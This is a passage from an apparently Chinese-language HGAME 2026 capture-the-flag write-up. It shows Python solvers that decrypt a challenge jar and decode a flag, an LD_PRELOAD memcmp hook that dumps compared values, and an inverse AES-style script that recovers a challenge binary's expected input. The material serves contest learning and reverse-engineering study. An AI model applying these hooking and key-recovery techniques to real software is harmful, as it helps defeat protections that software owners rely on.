raise RuntimeError("unexpected array ref")
arr[idx] = val & 0xFF
elif op == "putstatic":
break

if arr is None:
raise RuntimeError("firmware not parsed")
return bytes(arr)


def recover_flag_from_fw(fw: bytes) -> str:
# 前缀:20 10 00 LL 35 4a 01 ff
if not (len(fw) >= 8 and fw[0] == 0x20 and fw[1] == 0x10 and fw[2] == 0x00):
raise RuntimeError("unexpected firmware header")
n = fw[3]

chars = {}
i = 8
while i + 10 < len(fw):
if (fw[i] == 0x10 and fw[i+1] == 0x00 and fw[i+3] == 0x30 and
fw[i+4] == 0x10 and fw[i+5] == 0x00 and fw[i+7] == 0x35 and
fw[i+8] == 0x4A and fw[i+9] == 0x01 and fw[i+10] == 0xFF):
idx = fw[i+2]
ch = fw[i+6]
chars[idx] = ch
i += 11
continue

if fw[i:i+4] == bytes([0x10, 0x00, 0x01, 0xFF]):
break
i += 1

out = ["?"] * n
for idx, ch in chars.items():
if 0 <= idx < n:
out[idx] = chr(ch)

flag = "".join(out)
if "?" in flag:
raise RuntimeError("partial decode: " + flag)
return flag


def main(zip_path: str):
with zipfile.ZipFile(zip_path, "r") as z:
jar_name = [x for x in z.namelist() if x.endswith(".jar")][0]
app_jar = z.read(jar_name)

with zipfile.ZipFile(io.BytesIO(app_jar), "r") as z:
enc = z.read("BOOT-INF/classes/application-data.db")

low24 = recover_key_low24(enc)
key = (0x7E << 24) | low24 # 0x7e40bec8
dec = lcg_decrypt(enc, key)
inner = dec[128:]
if not inner.startswith(b"PK\x03\x04"):
raise RuntimeError("inner payload is not jar")

fw_enc = extract_firmware_with_javap(inner)
fw = bytes([b ^ (key & 0xFF) for b in fw_enc]) # xor 0xc8
flag = recover_flag_from_fw(fw)

print(f"[+] key_low24 = 0x{low24:06x}")
print(f"[+] key_lsb = 0x{key & 0xff:02x}")
print(f"[+] flag = {flag}")


if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} /path/to/ouroboros.zip")
sys.exit(1)
main(sys.argv[1])

  1. 结果

脚本输出:

1
2
3
[+] key_low24 = 0x40bec8
[+] key_lsb = 0xc8
[+] flag = flag{Vm_1n_Vm_1s_Th3_R34l_M4tr1x}

提交:

**flag{Vm_1n_Vm_1s_Th3_R34l_M4tr1x}**

Marionette

  1. 基础分析:程序结构不是直线执行

先看二进制(ELF 64)后,能看到一套 fork + ptrace + int3 的执行调度,子进程执行大量被 int3 切碎的代码块,父进程做调度。
这类题目常见问题是:静态看到的数据(比如某个“目标密文”)不一定是最终参与比较的值。


  1. 先拿“真实比较值”(不是看静态 .data)

最稳的方法是直接 hook memcmp,把比较双方 dump 出来。

hook_memcmp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

static int (*real_memcmp)(const void*,const void*,size_t)=NULL;

static void dump_hex(const char *tag, const uint8_t *p, size_t n){
char buf[512];
int pos = 0;
pos += snprintf(buf+pos, sizeof(buf)-pos, "%s=", tag);
size_t m = n > 16 ? 16 : n;
for(size_t i=0;i<m;i++) pos += snprintf(buf+pos, sizeof(buf)-pos, "%02x", p[i]);
pos += snprintf(buf+pos, sizeof(buf)-pos, "\n");
write(2, buf, pos);
}

int memcmp(const void *a,const void *b,size_t n){
if(!real_memcmp) real_memcmp = dlsym(RTLD_NEXT, "memcmp");
dump_hex("A", (const uint8_t*)a, n); // 程序算出来的结果
dump_hex("B", (const uint8_t*)b, n); // 真实目标
int r = real_memcmp(a,b,n);
char msg[128];
int k = snprintf(msg, sizeof(msg), "ret=%d n=%zu\n", r, n);
write(2, msg, k);
return r;
}

编译与运行

1
2
3
gcc -shared -fPIC -O2 -o hook_memcmp.so hook_memcmp.c -ldl
printf '00000000000000000000000000000000\n' | LD_PRELOAD=./hook_memcmp.so ./marionette 2>cmp.log
cat cmp.log

我这里拿到的真实目标是:

  • B = 8cadb48febfd6fae8660ad44c3c75a31

  1. 还原算法流程(关键点)

结合静态 + 动态执行序列,核心流程是:

  1. 使用固定 16 字节主密钥做扩展到 13 轮密钥(不是标准 AES-128 的 11 轮,而是扩到 13 组,用了 12 轮 rcon)。
    • 主密钥:5a097c137b8d4f2132be3b19af449c01
  2. 对输入 16 字节先做一层链式异或预处理:
    • 从后往前:for i=15..1: x[i] ^= x[i-1]
    • 这是一个可逆变换。
  3. 对预处理后的 16 字节做一套 12 轮 AES 风格加密
    • 初始 AddRoundKey
    • 11 次 AESENC
    • 1 次 AESENCLAST
  4. 最终结果与 memcmpB 比较。

  1. 逆向求解思路

要求输入 inp,使得:

AES12(PreXor(inp),key)=BAES12(PreXor(inp), key) = BAES12(PreXor(inp),key)=B

所以:

  1. PreXor(inp) = AES12^{-1}(B, key)
  2. 再把 PreXor 逆回来:
    • inp[0]=t[0]
    • inp[i]=t[i] xor inp[i-1](i=1..15)

  1. 一键求解脚本(完整可跑)

这个脚本直接根据上面拿到的 B 和固定 key 算出最终输入。

solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/env python3

SBOX = [
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
]
INV_SBOX = [0]*256
for i,v in enumerate(SBOX):
INV_SBOX[v] = i

def xtime(x: int) -> int:
return ((x << 1) & 0xff) ^ (0x1b if (x & 0x80) else 0)

def gf_mul(x: int, n: int) -> int:
if n == 1: return x
if n == 2: return xtime(x)
if n == 3: return xtime(x) ^ x
if n == 9: return xtime(xtime(xtime(x))) ^ x
if n == 11: return xtime(xtime(xtime(x))) ^ xtime(x) ^ x
if n == 13: return xtime(xtime(xtime(x))) ^ xtime(xtime(x)) ^ x
if n == 14: return xtime(xtime(xtime(x))) ^ xtime(xtime(x)) ^ xtime(x)
raise ValueError("bad mul")

def add_round_key(s, rk):
return [a ^ b for a,b in zip(s, rk)]

def inv_sub_bytes(s):
return [INV_SBOX[x] for x in s]

def inv_shift_rows(s):
o = s[:]
o[1],o[5],o[9],o[13] = s[13],s[1],s[5],s[9]
o[2],o[6],o[10],o[14] = s[10],s[14],s[2],s[6]
o[3],o[7],o[11],o[15] = s[7],s[11],s[15],s[3]
return o

def inv_mix_columns(s):
o = s[:]
for c in range(4):
a0,a1,a2,a3 = s[4*c:4*c+4]
o[4*c+0] = gf_mul(a0,14)^gf_mul(a1,11)^gf_mul(a2,13)^gf_mul(a3,9)
o[4*c+1] = gf_mul(a0,9)^gf_mul(a1,14)^gf_mul(a2,11)^gf_mul(a3,13)
o[4*c+2] = gf_mul(a0,13)^gf_mul(a1,9)^gf_mul(a2,14)^gf_mul(a3,11)
o[4*c+3] = gf_mul(a0,11)^gf_mul(a1,13)^gf_mul(a2,9)^gf_mul(a3,14)
return o

def expand_key_13(master: bytes):
assert len(master) == 16
rks = [bytearray(16) for _ in range(13)]
rks[0][:] = master
rcon = 0x01
for i in range(1,13):
p = rks[i-1]
t0,t1,t2,t3 = SBOX[p[13]],SBOX[p[14]],SBOX[p[15]],SBOX[p[12]]
t0 ^= rcon
rks[i][0] = p[0]^t0
rks[i][1] = p[1]^t1
rks[i][2] = p[2]^t2
rks[i][3] = p[3]^t3
for j in range(4,16):
rks[i][j] = p[j] ^ rks[i][j-4]
rcon = xtime(rcon)
return [bytes(x) for x in rks]

def decrypt_aes12_block(c: bytes, rks):
s = list(c)
s = add_round_key(s, list(rks[12]))
s = inv_shift_rows(s)
s = inv_sub_bytes(s)
for i in range(11,0,-1):
s = add_round_key(s, list(rks[i]))
s = inv_mix_columns(s)
s = inv_shift_rows(s)
s = inv_sub_bytes(s)
s = add_round_key(s, list(rks[0]))
return bytes(s)

def inv_prefix_xor(t: bytes):
out = [0]*16
out[0] = t[0]
for i in range(1,16):
out[i] = t[i] ^ out[i-1]
return bytes(out)

def main():
key = bytes.fromhex("5a097c137b8d4f2132be3b19af449c01")
target = bytes.fromhex("8cadb48febfd6fae8660ad44c3c75a31")

rks = expand_key_13(key)
t = decrypt_aes12_block(target, rks)
ans = inv_prefix_xor(t)

print("input_hex =", ans.hex())

if __name__ == "__main__":
main()

运行后得到:

1
input_hex = deadbeef0ddba11dfeedfacecafebabe

  1. 最终结果

把下面这串输入给程序即可:

1
deadbeef0ddba11dfeedfacecafebabe

程序返回 OK


HGAME 2026wp
https://mei-you-qian.github.io/2026/03/04/HGAME 2026wp/
作者
Meiyouqian
发布于
2026年3月4日
许可协议